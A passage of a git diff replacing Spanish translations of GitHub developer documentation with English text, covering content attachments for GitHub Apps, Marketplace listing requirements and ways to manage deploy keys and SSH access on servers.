acerca de cómo necesita comportarse tu integración y a qué necesita acceder: +Consider these questions about how your integration needs to behave and what it needs to access: -* ¿Mi integración actuará únicamente como yo, o actuará más como una aplicación? -* ¿Quiero que actúe independientemente de mí como su propia entidad? -* ¿Accederá a todo lo que yo puedo acceder, o quiero limitar su acceso? -* ¿Es simple o compleja? Por ejemplo, los tokens de acceso personal sirven bien para scripts simples y cURLs, mientras que una {% data variables.product.prodname_oauth_app %} puede manejar scripts más complejos. +* Will my integration act only as me, or will it act more like an application? +* Do I want it to act independently of me as its own entity? +* Will it access everything that I can access, or do I want to limit its access? +* Is it simple or complex? For example, personal access tokens are good for simple scripts and cURLs, whereas an {% data variables.product.prodname_oauth_app %} can handle more complex scripting. -## Solicitar soporte +## Requesting support {% data reusables.support.help_resources %} diff --git a/translations/es-ES/content/developers/apps/guides/using-content-attachments.md b/translations/es-ES/content/developers/apps/guides/using-content-attachments.md index 19d1884f6d..fa623003d5 100644 --- a/translations/es-ES/content/developers/apps/guides/using-content-attachments.md +++ b/translations/es-ES/content/developers/apps/guides/using-content-attachments.md @@ -1,6 +1,6 @@ --- -title: Utilizar adjuntos de contenido -intro: Los adjuntos de contenido permiten que una GitHub App proporcione más información en GitHub para las URL que vinculan a los dominios registrados. GitHub interpreta la información que proporciona la app bajo la URL en el cuerpo o el comentario de un informe de problemas o de una solicitud de extracción. +title: Using content attachments +intro: Content attachments allow a GitHub App to provide more information in GitHub for URLs that link to registered domains. GitHub renders the information provided by the app under the URL in the body or comment of an issue or pull request. redirect_from: - /apps/using-content-attachments - /developers/apps/using-content-attachments @@ -12,35 +12,34 @@ versions: topics: - GitHub Apps --- - {% data reusables.pre-release-program.content-attachments-public-beta %} -## Acerca de los adjuntos de contenido +## About content attachments -Una GitHub App puede registrar dominios que activarán los eventos de `content_reference`. Cuando alguien incluye una URL que vincule a un dominio registrado en el cuerpo o en el comentario de un informe de problemas o de una solicitud de extracción, la app recibe el [webhook de `content_reference`](/webhooks/event-payloads/#content_reference). Puedes utilizar los adjuntos de contenido para proporcionar visualmente más contenido o datos para la URL que se agregó a un informe de problemas o a una solicitud de extracción. La URL debe estar completamente calificada, comenzando ya sea con `http://` o con `https://`. Las URL que sean parte de un enlace de markdown se ignorarán y no activarán el evento de `content_reference`. +A GitHub App can register domains that will trigger `content_reference` events. When someone includes a URL that links to a registered domain in the body or comment of an issue or pull request, the app receives the [`content_reference` webhook](/webhooks/event-payloads/#content_reference). You can use content attachments to visually provide more context or data for the URL added to an issue or pull request. The URL must be a fully-qualified URL, starting with either `http://` or `https://`. URLs that are part of a markdown link are ignored and don't trigger the `content_reference` event. -Antes de que puedas utilizar la API de {% data variables.product.prodname_unfurls %}, necesitarás configurar las referencias de contenido para tu GitHub App: -* Concede los permisos de `Read & write` a tu app para "Referencias de contenido". -* Registra hasta 5 dominios válidos y accesibles al público cuando configures el permiso de "Referencias de contenido". No utilices direcciones IP cuando configures dominios con referencias de contenido. Puedes registrar un nombre de dominio (ejemplo.com) o un subdominio (subdominio.ejemplo.com). -* Suscribe a tu app al evento de "Referencia de contenido". +Before you can use the {% data variables.product.prodname_unfurls %} API, you'll need to configure content references for your GitHub App: +* Give your app `Read & write` permissions for "Content references." +* Register up to 5 valid, publicly accessible domains when configuring the "Content references" permission. Do not use IP addresses when configuring content reference domains. You can register a domain name (example.com) or a subdomain (subdomain.example.com). +* Subscribe your app to the "Content reference" event. -Una vez que tu app se instale en un repositorio, los comentarios de solicitudes de extracción o de informes de problemas en éste, los cuales contengan URL para tus dominios registrados, generarán un evento de referencia de contenido. La app debe crear un adjunto de contenido en las seis horas siguientes a la publicación de la URL de referencia de contenido. +Once your app is installed on a repository, issue or pull request comments in the repository that contain URLs for your registered domains will generate a content reference event. The app must create a content attachment within six hours of the content reference URL being posted. -Los adjuntos de contenido no actualizarán las URL retroactivamente. Esto solo funciona para aquellas URL que se agerguen a las solicitudes de extracción o informes de problemas después de que configuras la app utilizando los requisitos descritos anteriormente y que después alguien instale la app en su repositorio. +Content attachments will not retroactively update URLs. It only works for URLs added to issues or pull requests after you configure the app using the requirements outlined above and then someone installs the app on their repository. -Consulta la sección "[Crear una GitHub App](/apps/building-github-apps/creating-a-github-app/)" o "[Editar los permisos de las GitHub Apps](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" para encontrar los pasos necesarios para configurar los permisos de las GitHub Apps y las suscripciones a eventos. +See "[Creating a GitHub App](/apps/building-github-apps/creating-a-github-app/)" or "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)" for the steps needed to configure GitHub App permissions and event subscriptions. -## Implementar el flujo de los adjuntos de contenido +## Implementing the content attachment flow -El flujo de los adjuntos de contenido te muestra la relación entre la URL en el informe de problemas o en la solicitud de extracción, el evento de webhook de `content_reference`, y la terminal de la API de REST que necesitas para llamar o actualizar dicho informe de problemas o solicitud de extracción con información adicional: +The content attachment flow shows you the relationship between the URL in the issue or pull request, the `content_reference` webhook event, and the REST API endpoint you need to call to update the issue or pull request with additional information: -**Paso 1.** Configura tu app utilizando los lineamientos descritos en la sección [Acerca de los adjuntos de contenido](#about-content-attachments). También puedes utilizar el [ejemplo de la App de Probot](#example-using-probot-and-github-app-manifests) para iniciar con los adjuntos de contenido. +**Step 1.** Set up your app using the guidelines outlined in [About content attachments](#about-content-attachments). You can also use the [Probot App example](#example-using-probot-and-github-app-manifests) to get started with content attachments. -**Paso 2.** Agrega la URL para el dominio que registraste a un informe de problemas o solicitud de extracción. Debes utilizar una URL totalmente calificada que comience con `http://` o con `https://`. +**Step 2.** Add the URL for the domain you registered to an issue or pull request. You must use a fully qualified URL that starts with `http://` or `https://`. -![URL que se agregó a un informe de problemas](/assets/images/github-apps/github_apps_content_reference.png) +![URL added to an issue](/assets/images/github-apps/github_apps_content_reference.png) -**Paso 3.** Tu app recibirá el [webhook de `content_reference`](/webhooks/event-payloads/#content_reference) con la acción `created`. +**Step 3.** Your app will receive the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) with the action `created`. ``` json { @@ -61,12 +60,12 @@ El flujo de los adjuntos de contenido te muestra la relación entre la URL en el } ``` -**Paso 4.** La app utiliza los campos de la `id` de `content_reference` y del `full_name` del `repository` para [Crear un adjunto de contenido ](/rest/reference/apps#create-a-content-attachment) utilizando la API de REST. También necesitas la `id` de la `installation` para autenticarte como una [Instalación de una GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). +**Step 4.** The app uses the `content_reference` `id` and `repository` `full_name` fields to [Create a content attachment](/rest/reference/apps#create-a-content-attachment) using the REST API. You'll also need the `installation` `id` to authenticate as a [GitHub App installation](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). {% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %} -El parámetro `body` puede contener lenguaje de markdown: +The `body` parameter can contain markdown: ```shell curl -X POST \ @@ -74,24 +73,24 @@ curl -X POST \ -H 'Accept: application/vnd.github.corsair-preview+json' \ -H 'Authorization: Bearer $INSTALLATION_TOKEN' \ -d '{ - "title": "[A-1234] Error found in core/models.py file", - "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()" + "title": "[A-1234] Error found in core/models.py file", + "body": "You have used an email that already exists for the user_email_uniq field.\n ## DETAILS:\n\nThe (email)=(Octocat@github.com) already exists.\n\n The error was found in core/models.py in get_or_create_user at line 62.\n\n self.save()" }' ``` -Para obtener más información acerca de crear un token de instalación, consulta la sección "[Autenticarte como una GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)". +For more information about creating an installation token, see "[Authenticating as a GitHub App](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation)." -**Paso 5.** Verás como el nuevo adjunto de contenido aparece bajo el enlace en un comentario de una solicitud de extracción o informe de problemas: +**Step 5.** You'll see the new content attachment appear under the link in a pull request or issue comment: -![Contenido adjunto a una referencia en un informe de problemas](/assets/images/github-apps/content_reference_attachment.png) +![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png) -## Utilizar adjuntos de contenido en GraphQL -Proporcionamos la `node_id` en el evento de [Webhook de `content_reference` ](/webhooks/event-payloads/#content_reference) para que puedas referirte a la mutación `createContentAttachment` en la API de GraphQL. +## Using content attachments in GraphQL +We provide the `node_id` in the [`content_reference` webhook](/webhooks/event-payloads/#content_reference) event so you can refer to the `createContentAttachment` mutation in the GraphQL API. {% data reusables.pre-release-program.corsair-preview %} {% data reusables.pre-release-program.api-preview-warning %} -Por ejemplo: +For example: ``` graphql mutation { @@ -110,7 +109,7 @@ mutation { } } ``` -cURL de ejemplo: +Example cURL: ```shell curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \ @@ -124,14 +123,14 @@ curl -X "POST" "{% data variables.product.api_url_code %}/graphql" \ For more information on `node_id`, see "[Using Global Node IDs]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)." -## Ejemplo de uso con Probot y Manifiestos de GitHub Apps +## Example using Probot and GitHub App Manifests -Para configurar rápidamente una GitHub App que pueda utilizar la API de {% data variables.product.prodname_unfurls %}, puedes utilizar el [Probot](https://probot.github.io/). Consulta la sección "[Crear Github Apps a partir de un manifiesto](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" para aprender cómo el Probot utiliza los Manifiestos de las GitHub Apps. +To quickly setup a GitHub App that can use the {% data variables.product.prodname_unfurls %} API, you can use [Probot](https://probot.github.io/). See "[Creating GitHub Apps from a manifest](/apps/building-github-apps/creating-github-apps-from-a-manifest/)" to learn how Probot uses GitHub App Manifests. -Para crear una App de Probot, sigue estos pasos: +To create a Probot App, follow these steps: -1. [Genera una GitHub App Nueva](https://probot.github.io/docs/development/#generating-a-new-app). -2. Abre el proyecto que creaste y personaliza la configuración en el archivo `app.yml`. Suscríbete al evento `content_reference` y habilita los permisos de escritura de `content_references`: +1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app). +2. Open the project you created, and customize the settings in the `app.yml` file. Subscribe to the `content_reference` event and enable `content_references` write permissions: ``` yml default_events: @@ -150,7 +149,7 @@ Para crear una App de Probot, sigue estos pasos: value: example.org ``` -3. Agrega este código al archivo `index.js` para gestionar los eventos de `content_reference` y llamar a la API de REST: +3. Add this code to the `index.js` file to handle `content_reference` events and call the REST API: ``` javascript module.exports = app => { @@ -171,13 +170,13 @@ Para crear una App de Probot, sigue estos pasos: } ``` -4. [Ejecuta la GitHub App localmente](https://probot.github.io/docs/development/#running-the-app-locally). Navega hasta `http://localhost:3000`, y da clic en el botón **Registrar GitHub App**: +4. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally). Navigate to `http://localhost:3000`, and click the **Register GitHub App** button: - ![Registrar una GitHub App de Probot](/assets/images/github-apps/github_apps_probot-registration.png) + ![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png) -5. Instala la app en un repositorio de prueba. -6. Crea un informe de problemas en tu repositorio de prueba. -7. Agrega un comentario en el informe de problemas que abriste, el cual incluya la URL que configuraste en el archivo `app.yml`. -8. Revisa el comentario del informe de problemas y verás una actualización que se ve así: +5. Install the app on a test repository. +6. Create an issue in your test repository. +7. Add a comment to the issue you opened that includes the URL you configured in the `app.yml` file. +8. Take a look at the issue comment and you'll see an update that looks like this: - ![Contenido adjunto a una referencia en un informe de problemas](/assets/images/github-apps/content_reference_attachment.png) + ![Content attached to a reference in an issue](/assets/images/github-apps/content_reference_attachment.png) diff --git a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md index 5f8d851176..ea47b4b45a 100644 --- a/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md +++ b/translations/es-ES/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md @@ -1,6 +1,6 @@ --- -title: Requisitos para listar una app -intro: 'Las apps que se encuentren en {% data variables.product.prodname_marketplace %} deben cumplir con los requisitos que se detallan en esta página antes de que se pueda publicar la lista.' +title: Requirements for listing an app +intro: 'Apps on {% data variables.product.prodname_marketplace %} must meet the requirements outlined on this page before the listing can be published.' redirect_from: - /apps/adding-integrations/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ - /apps/marketplace/listing-apps-on-github-marketplace/requirements-for-listing-an-app-on-github-marketplace/ @@ -14,68 +14,67 @@ versions: ghec: '*' topics: - Marketplace -shortTitle: Listar los requisitos +shortTitle: Listing requirements --- - -Los requisitos para listar una app en {% data variables.product.prodname_marketplace %} varían de acuerdo con si quieres ofrecer una app gratuita o de pago. +The requirements for listing an app on {% data variables.product.prodname_marketplace %} vary according to whether you want to offer a free or a paid app. -## Requisitos para todas las listas de {% data variables.product.prodname_marketplace %} +## Requirements for all {% data variables.product.prodname_marketplace %} listings -Todas las listas de {% data variables.product.prodname_marketplace %} deben ser para las herramientas que proporcionen valor a la comunidad de {% data variables.product.product_name %}. Cuando emites tu lista para que se publique debes leer y aceptar las condiciones del [Acuerdo de Desarrollador de {% data variables.product.prodname_marketplace %}](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)". +All listings on {% data variables.product.prodname_marketplace %} should be for tools that provide value to the {% data variables.product.product_name %} community. When you submit your listing for publication, you must read and accept the terms of the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)." -### Requisitos de la experiencia del usuario para todas las apps +### User experience requirements for all apps -Todas las listas deben cumplir con los siguientes requisitos, sin importar si son para una app gratuita o de pago. +All listings should meet the following requirements, regardless of whether they are for a free or paid app. -- Las listas no deben persuadir activamente a los usuarios de que salgan de {% data variables.product.product_name %}. -- Las listas deben incluir la información de contacto válida del publicador. -- Las listas deben tener una descripción relevante de la aplicación. -- Las listas deben especificar un plan de precios. -- Las apps deben proporcionar valor a los clientes e integrarse con la plataforma de alguna forma más allá de la autenticación. -- Las apps deben estar disponibles al público en {% data variables.product.prodname_marketplace %} y no pueden estar en fase beta o únicamente disponibles con invitación. -- Las apps deben contar con eventos de webhook configurados para notificar al publicador sobre cualquier cancelación o cambio en el plan utilizando la API de {% data variables.product.prodname_marketplace %}. Para obtener más información, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)". +- Listings must not actively persuade users away from {% data variables.product.product_name %}. +- Listings must include valid contact information for the publisher. +- Listings must have a relevant description of the application. +- Listings must specify a pricing plan. +- Apps must provide value to customers and integrate with the platform in some way beyond authentication. +- Apps must be publicly available in {% data variables.product.prodname_marketplace %} and cannot be in beta or available by invite only. +- Apps must have webhook events set up to notify the publisher of any plan changes or cancellations using the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." -Para obtener más información sobre cómo proporcionar una buena experiencia al cliente, consulta la sección "[Mejores prácticas para la experiencia del cliente en las apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)". +For more information on providing a good customer experience, see "[Customer experience best practices for apps](/developers/github-marketplace/customer-experience-best-practices-for-apps)." -### Requisitos de marca y de listado para todas las apps +### Brand and listing requirements for all apps -- Las apps que utilizan los logos de GitHub deben seguir los lineamientos de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Logos de {% data variables.product.company_short %} y su uso](https://github.com/logos)". -- Las apps deben tener un logo, tarjeta de características, e imágenes de impresión de pantalla que cumplan con las recomendaciones que se proporcionan en "[Escribir las descripciones de los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)". -- Los listados deben incluir descripciones que estén bien escritas y no tengan errores gramaticales. Para obtener orientación sobre cómo escribir tu listado, consulta la sección "[Escribir las descripciones de los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)". +- Apps that use GitHub logos must follow the {% data variables.product.company_short %} guidelines. For more information, see "[{% data variables.product.company_short %} Logos and Usage](https://github.com/logos)." +- Apps must have a logo, feature card, and screenshots images that meet the recommendations provided in "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." +- Listings must include descriptions that are well written and free of grammatical errors. For guidance in writing your listing, see "[Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)." -Para proteger a tus clientes, te recomendamos que también sigas las mejores prácticas de seguridad. Para obtener más información, consulta la sección "[Mejores prácticas de seguridad para las apps](/developers/github-marketplace/security-best-practices-for-apps)". +To protect your customers, we recommend that you also follow security best practices. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)." -## Consideraciones para las apps gratuitas +## Considerations for free apps -{% data reusables.marketplace.free-apps-encouraged %} +{% data reusables.marketplace.free-apps-encouraged %} -## Requisitos para las apps de pago +## Requirements for paid apps -Para publicar un plan de pago para tu app en {% data variables.product.prodname_marketplace %}, esta debe pertenecer a una organización que sea un publicador verificado. Para obtener más información sobre el proceso de verificación o de cómo transferir la propiedad de tu app, consulta la sección "[Solicitar una verificación de publicador para tu organización](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)". +To publish a paid plan for your app on {% data variables.product.prodname_marketplace %}, your app must be owned by an organization that is a verified publisher. For more information about the verification process or transferring ownership of your app, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)." -Si tu app ya se publicó y eres un publicador verificado, entonces puedes publicar un plan de pago nuevo desde el editor de plan de precios. Para obtener más información, consulta la sección "[Configurar planes de precios para tu listado](/developers/github-marketplace/setting-pricing-plans-for-your-listing)". +If your app is already published and you're a verified publisher, then you can publish a new paid plan from the pricing plan editor. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." -Para publicar una app de pago (o una app que te ofrece un plan de pago), también debes cumplir con los siguientes requisitos: +To publish a paid app (or an app that offers a paid plan), you must also meet the following requirements: -- Las {% data variables.product.prodname_github_apps %} deben tener un mínimo de 100 instalaciones. -- Las {% data variables.product.prodname_oauth_apps %} deben tener un mínimo de 200 usuarios. -- Todas las apps de pago deben gestinar los eventos de compra de {% data variables.product.prodname_marketplace %} para las compras nuevas, mejoras, retrocesos, cancelaciones y pruebas gratuitas. Para obtener más información, consulta la sección "[Requisitos de facturación para las apps de pago](#billing-requirements-for-paid-apps)" que se encuentra más adelante. +- {% data variables.product.prodname_github_apps %} should have a minimum of 100 installations. +- {% data variables.product.prodname_oauth_apps %} should have a minimum of 200 users. +- All paid apps must handle {% data variables.product.prodname_marketplace %} purchase events for new purchases, upgrades, downgrades, cancellations, and free trials. For more information, see "[Billing requirements for paid apps](#billing-requirements-for-paid-apps)" below. -Cuando estés listo para publicar la app en {% data variables.product.prodname_marketplace %}, deberás solicitar la verificación de su listado. +When you are ready to publish the app on {% data variables.product.prodname_marketplace %} you must request verification for the app listing. {% note %} -**Nota:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} Para obtener más información sobre cómo transferir una app a una organización, consulta la sección: "[Enviar tu listado para que se publique](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)". +**Note:** {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to transfer an app to an organization, see: "[Submitting your listing for publication](/developers/github-marketplace/submitting-your-listing-for-publication#transferring-an-app-to-an-organization-before-you-submit)." {% endnote %} -## Requisitos de facturación para las apps de pago +## Billing requirements for paid apps -Tu app no necesita administrar pagos, pero sí necesita utilizar los eventos de compra de {% data variables.product.prodname_marketplace %} para administrar las compras nuevas, mejoras, retrocesos, cancelaciones y pruebas gratuitas. Para obtener más información sobre cómo integrar estos eventos en tu app, consulta la sección "[Utilizar la API de {% data variables.product.prodname_marketplace %} en tu app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)". +Your app does not need to handle payments but does need to use {% data variables.product.prodname_marketplace %} purchase events to manage new purchases, upgrades, downgrades, cancellations, and free trials. For information about how integrate these events into your app, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." Using GitHub's billing API allows customers to purchase an app without leaving GitHub and to pay for the service with the payment method already attached to their account on {% data variables.product.product_location %}. -- Las apps deben permitir facturación mensual y anual para las compras de sus sucripciones de pago. -- Los listados pueden ofrecer cualquier combienación de planes gratuitos y de pago. Los planes gratuitos son opcionales, pero se les fomenta. Para obtener más información, consulta la sección "[Configurar un plan de precios para los listados de {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)". +- Apps must support both monthly and annual billing for paid subscriptions purchases. +- Listings may offer any combination of free and paid plans. Free plans are optional but encouraged. For more information, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)." diff --git a/translations/es-ES/content/developers/overview/managing-deploy-keys.md b/translations/es-ES/content/developers/overview/managing-deploy-keys.md index 3374f5ca12..b651619a2c 100644 --- a/translations/es-ES/content/developers/overview/managing-deploy-keys.md +++ b/translations/es-ES/content/developers/overview/managing-deploy-keys.md @@ -1,6 +1,6 @@ --- -title: Administrar las llaves de despliegue -intro: Aprende las diversas formas de administrar llaves SSH en tus servidores cuando automatizas los scripts de desplegue y averigua qué es lo mejor para ti. +title: Managing deploy keys +intro: Learn different ways to manage SSH keys on your servers when you automate deployment scripts and which way is best for you. redirect_from: - /guides/managing-deploy-keys/ - /v3/guides/managing-deploy-keys @@ -14,52 +14,53 @@ topics: --- -Puedes administrar llaves SSH en tus servidores cuando automatices tus scripts de despliegue utilizando el reenvío del agente de SSH, HTTPS con tokens de OAuth, o usuarios máquina. +You can manage SSH keys on your servers when automating deployment scripts using SSH agent forwarding, HTTPS with OAuth tokens, deploy keys, or machine users. -## Reenvío del agente SSH +## SSH agent forwarding -En muchos casos, especialmente al inicio de un proyecto, el reenvío del agente SSH es el método más fácil y rápido a utilizar. El reenvío de agentes utiliza las mismas llaves SSH que utiliza tu ordenador de desarrollo local. +In many cases, especially in the beginning of a project, SSH agent forwarding is the quickest and simplest method to use. Agent forwarding uses the same SSH keys that your local development computer uses. #### Pros -* No tienes que generar o llevar registros de las llaves nuevas. -* No hay administración de llaves; los usuarios tienen los mismos permisos en el servidor y localmente. -* No se almacenan las llaves en el servidor, así que, en caso de que el servidor se ponga en riesgo, no necesitas buscar y eliminar las llaves con este problema. +* You do not have to generate or keep track of any new keys. +* There is no key management; users have the same permissions on the server that they do locally. +* No keys are stored on the server, so in case the server is compromised, you don't need to hunt down and remove the compromised keys. -#### Contras +#### Cons -* Los usuarios **deben** ingresar cno SSH para hacer los despliegues; no pueden utilizarse los procesos de despliegue automatizados. -* El reenvío del agente SSH puede ser difícil de ejecutar para usuarios de Windows. +* Users **must** SSH in to deploy; automated deploy processes can't be used. +* SSH agent forwarding can be troublesome to run for Windows users. -#### Configuración +#### Setup -1. Habilita el reenvío de agente localmente. Consulta [nuestra guía sobre el redireccionamiento del agente SSH][ssh-agent-forwarding] para obtener más información. -2. Configura tus scripts de despliegue para utilizar el reenvío de agente. Por ejemplo, el habilitar el reenvío de agentes en un script de bash se vería más o menos así: `ssh -A serverA 'bash -s' < deploy.sh` +1. Turn on agent forwarding locally. See [our guide on SSH agent forwarding][ssh-agent-forwarding] for more information. +2. Set your deploy scripts to use agent forwarding. For example, on a bash script, enabling agent forwarding would look something like this: +`ssh -A serverA 'bash -s' < deploy.sh` -## Clonado de HTTPS con tokens de OAuth +## HTTPS cloning with OAuth tokens -Si no quieres utilizar llaves SSH, puedes utilizar [HTTPS con tokens de OAuth][git-automation]. +If you don't want to use SSH keys, you can use [HTTPS with OAuth tokens][git-automation]. #### Pros -* Cualquiera que tenga acceso al servidor puede desplegar el repositorio. -* Los usuarios no tienen que cambiar su configuración local de SSH. -* No se necesitan tokens múltiples (uno por usuario); un token por servidor es suficiente. -* Los tokens se pueden revocar en cualquier momento, convirtiéndolos esencialmente en una contraseña de un solo uso. +* Anyone with access to the server can deploy the repository. +* Users don't have to change their local SSH settings. +* Multiple tokens (one for each user) are not needed; one token per server is enough. +* A token can be revoked at any time, turning it essentially into a one-use password. {% ifversion ghes %} -* Se puede generar nuevos tokens con scripts si se utiliza [la API de OAuth](/rest/reference/oauth-authorizations#create-a-new-authorization). +* Generating new tokens can be easily scripted using [the OAuth API](/rest/reference/oauth-authorizations#create-a-new-authorization). {% endif %} -#### Contras +#### Cons -* Debes asegurarte de que configuras tu token con los alcances de acceso correctos. -* Los tokens son prácticamente contraseñas, y deben protegerse de la misma manera. +* You must make sure that you configure your token with the correct access scopes. +* Tokens are essentially passwords, and must be protected the same way. -#### Configuración +#### Setup -Consulta [nuestra guía sobre la automatización de tokens en Git][git-automation]. +See [our guide on Git automation with tokens][git-automation]. -## Llaves de implementación +## Deploy keys {% data reusables.repositories.deploy-keys %} @@ -67,31 +68,31 @@ Consulta [nuestra guía sobre la automatización de tokens en Git][git-automatio #### Pros -* Cualquiera que tenga acceso al repositorio y al servidor tiene la capacidad de desplegar el proyecto. -* Los usuarios no tienen que cambiar su configuración local de SSH. -* Las llaves de despliegue son de solo lectura predeterminadamente, pero les puedes otorgar acceso de escritura cuando las agregas a un repositorio. +* Anyone with access to the repository and server has the ability to deploy the project. +* Users don't have to change their local SSH settings. +* Deploy keys are read-only by default, but you can give them write access when adding them to a repository. -#### Contras +#### Cons -* Las llaves de despliegue solo otorgan acceso a un solo repositorio. Los proyectos más complejos pueden tener muchos repositorios que extraer del mismo servidor. -* Las llaves de lanzamiento habitualmente no están protegidas con una frase de acceso, lo cual hace que se pueda acceder fácilmente a ellas si el servidor estuvo en riesgo. +* Deploy keys only grant access to a single repository. More complex projects may have many repositories to pull to the same server. +* Deploy keys are usually not protected by a passphrase, making the key easily accessible if the server is compromised. -#### Configuración +#### Setup -1. [Ejecuta el procedimiento de `ssh-keygen`][generating-ssh-keys] en tu servidor, y recuerda en donde guardaste el par de llaves pública/privada de rsa. -2. En la esquina superior derecha de cualquier página de {% data variables.product.product_name %}, da clic en tu foto de perfil y luego da clic en **Tu perfil**. ![Navegación al perfil](/assets/images/profile-page.png) -3. En tu página de perfil, da clic en **Repositorios** y luego en el nombre de tu repositorio. ![Enlace de los repositorios](/assets/images/repos.png) -4. Desde tu repositorio, da clic en **Configuración**. ![Configuración del repositorio](/assets/images/repo-settings.png) -5. En la barra lateral, da clic en **Desplegar llaves** y luego en **Agregar llave de despliegue**. ![Enlace para agregar llaves de despliegue](/assets/images/add-deploy-key.png) -6. Proporciona un título, pégalo en tu llave pública. ![Página de la llave de despliegue](/assets/images/deploy-key.png) -7. Selecciona **Permitir acceso de escritura** si quieres que esta llave tenga acceso de escritura en el repositorio. Una llave de despliegue con acceso de escritura permite que un despliegue cargue información al repositorio. -8. Da clic en **Agregar llave**. +1. [Run the `ssh-keygen` procedure][generating-ssh-keys] on your server, and remember where you save the generated public/private rsa key pair. +2. In the upper-right corner of any {% data variables.product.product_name %} page, click your profile photo, then click **Your profile**. ![Navigation to profile](/assets/images/profile-page.png) +3. On your profile page, click **Repositories**, then click the name of your repository. ![Repositories link](/assets/images/repos.png) +4. From your repository, click **Settings**. ![Repository settings](/assets/images/repo-settings.png) +5. In the sidebar, click **Deploy Keys**, then click **Add deploy key**. ![Add Deploy Keys link](/assets/images/add-deploy-key.png) +6. Provide a title, paste in your public key. ![Deploy Key page](/assets/images/deploy-key.png) +7. Select **Allow write access** if you want this key to have write access to the repository. A deploy key with write access lets a deployment push to the repository. +8. Click **Add key**. -#### Utilizar repositorios múltiples en un servidor +#### Using multiple repositories on one server -Si utilizas repositorios múltiples en un servidor, necesitarás generar un par de llaves dedicados para cada uno. No puedes reutilizar una llave de despliegue para repositorios múltiples. +If you use multiple repositories on one server, you will need to generate a dedicated key pair for each one. You can't reuse a deploy key for multiple repositories. -En el archivo de configuración SSH del servidor (habitualmente `~/.ssh/config`), agrega una entrada de alias para cada repositorio. Por ejemplo: +In the server's SSH configuration file (usually `~/.ssh/config`), add an alias entry for each repository. For example: ```bash Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0 @@ -105,47 +106,47 @@ Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif * `Host {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-0` - The repository's alias. * `Hostname {% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}` - Configures the hostname to use with the alias. -* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Asigna una llave privada al alias. +* `IdentityFile=/home/user/.ssh/repo-0_deploy_key` - Assigns a private key to the alias. -Entonces podrás utilizar el alias del nombre de host para que interactúe con el repositorio utilizando SSH, lo cual utilizará la llave de despliegue única que se asignó a dicho alias. Por ejemplo: +You can then use the hostname's alias to interact with the repository using SSH, which will use the unique deploy key assigned to that alias. For example: ```bash $ git clone git@{% ifversion fpt or ghec %}github.com{% else %}my-GHE-hostname.com{% endif %}-repo-1:OWNER/repo-1.git ``` -## Tokens de servidor a servidor +## Server-to-server tokens -Si tu servidor necesita acceder a repositorios a lo largo de una o más organizaciones, puedes utilizar una GitHub app para definir el acceso que necesitas y luego generar 